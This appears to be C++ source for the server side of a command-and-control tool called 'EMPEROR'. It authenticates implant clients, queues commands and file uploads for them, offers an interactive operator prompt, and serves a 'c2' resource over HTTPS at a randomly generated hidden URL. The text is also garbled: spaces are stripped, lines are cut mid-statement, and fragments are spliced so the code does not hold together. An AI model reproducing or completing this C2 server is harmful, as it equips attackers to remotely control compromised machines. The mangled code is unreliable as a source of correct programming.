std::vector<std::vector<std::string>>retrievecreds(std::stringsFile)// takes a file path as a parameter and parses the combinations of usernames and passwords from the file for insertion into
std::vector<std::vector<std::string>>sCreds=retrievecreds("creds");// call the retrievecreds function with the filename "creds" as a parameter and save the returned vector to a 2d vector called
std::map<std::string,bool>createUserConnections(std::vector<std::vector<std::string>>sCreds)// takes a vector of strings containing the listed credentials and creates a dictionary containing the
// username of the registered client as the key and a false boolean for later use
std::map<std::string,std::string>createUserComms(std::vector<std::vector<std::string>>sCreds)// creates a dictionary containing the username of the registered client
std::map<std::string,std::string>mCommands=createUserComms(sCreds);// call the createUserComms function with the 2d vector sCreds as an argument, saving the returned map of strings to
// mCommands
std::map<std::string,std::string>mResults=createUserComms(sCreds);// call the createUserComms function with the 2d vector sCreds as an argument, saving the returned map of string to
std::map<std::string,std::string>mInFiles=createUserComms(sCreds);// call the createUserComms function with the 2d vector sCreds as an argument, saving the returned map of string to mInFiles
std::map<std::string,std::string>mOutFiles=createUserComms(sCreds);// call the createUserComms function with the 2d vector sCreds as an argument, saving the returned map of string to mOutFiles
std::map<std::string,bool>mConnections=createUserConnections(sCreds);// call the defaultUserConnections function with the 2d vector sCreds as an argument, saving the returned map of
// string and bool to mConnections
std::stringlistUserConnections(std::map<std::string,bool>mConnections)// iterates through the provided mConnections map, checking if the value for a username is true and if so, it adds the
// username along with a string which confirms the client is active to the oss, which is returned as string
boolverifycreds(std::vector<std::vector<std::string>>sCreds,std::stringsUsername,std::stringsPassword)// takes 2d vector sCreds along with the provided username and password from the
// client in order to verify their credentials, returns true if successful
voidcheckConnections()// checks if there is an incoming connection from a client, if there is then the function prints out a message stating the username connecting
std::cout<<"\nIncoming connection from "<<sIncomingHeyUser<<"\n[EMPEROR]>"<<std::flush;// then print incoming connection from, with the username and finally
// print the prompt on the next line
bIncomingHey=false;// set the bIncomingHey flag to false
sIncomingHeyUser="";// set the sIncomingHeyUser string to empty
sFilename+=sContent[i];// add the selected char to the sFilename string
}
fFile.open(sFilename);// creatr file with provided filename
fFile<<sContent;// write file content to file
}
voidinteractConnection(std::stringsIdentifier)// begin issuing commands to the client provided as a parameter
{
std::stringsCommand;// declare sCommand string to store command input
std::cout<<"Starting interaction with "<<sIdentifier<<std::endl;// show the connection that the user is beginning interaction with
while(true)// loop forever
{
std::cout<<"[EMPEROR - "<<sIdentifier<<"]>";// print prompt with username of connected client
std::getline(std::cin,sCommand);// get user input
std::regexrUpload(":u ");// compile upload regex for later use
if(sCommand==":q")// if the command is quit
{
break;// exit the interactive connection
}
elseif(std::regex_search(sCommand,rUpload))// if the command is upload
{
boolbFilename=false;// declare bool bFilename flag which is set to false by default
boolbResult;// declare bool bResult for later use
std::stringsFilename;// declare string sFilename for later use
for(inti=0;i<sCommand.length();i++)// for each char in sCommand string
{
if(bFilename)// if the filename is currently being parsed
{
sFilename+=sCommand[i];// add the currently selected char to the sFilename string
}
if(sCommand[i]=='')// if the currently selected char is a space
{
bFilename=true;// set the bFilename flag to true
}
}
bResult=uploadFile(sFilename,sIdentifier);// call the uploadFile function with the filename and identifier as parameters, saving the return to the bResult bool
if(bResult)// if the uploadFile function returned true
{
std::cout<<"Command sent, awaiting response..."<<std::endl;// tell the user that the command has been added to the queue and is awaiting a response
while(!mOutFiles[sIdentifier].empty())// whilst the file has not been removed from the mOutFiles array
{
continue;// do nothing and block further execution
}
}
else// otherwise
{
std::cout<<"The provided file does not exist or cannot be read."<<std::endl;// tell the user the file provided could not be read
std::cout<<listUserConnections(mConnections);// then call the listUserConnections function with the argument of the mConnections map and print the return from the function
interactConnection(sCommands[1]);// then begin interacting with the connection, providing interactConnection with the username of the client in question
}
else// otherwise
{
std::cout<<"That client is not currently connected."<<std::flush;// tell the user the client is not currently connected
command_and_controlc2;// instanciate the command and control class
httpserver::webserverws=httpserver::create_webserver(8665).use_ssl().https_mem_key("server.key").https_mem_cert("server.crt");// create the webserver, ensuring ssl is enabled and
// the server is using the provided crt and key
ws.register_resource("/YVDvOraEcGwPAyjuBFzGespbRzifTpi",&c2);// register the c2 resource at a randomly generated URL
ws.start(false);// start the webserver in non-blocking mode
std::threadtCheck(checkConnections);// run checkConnections in a new thread
prompt();// run the interactive prompt
tCheck.join();// after the prompt has exited, wait for the checkConnections thread to end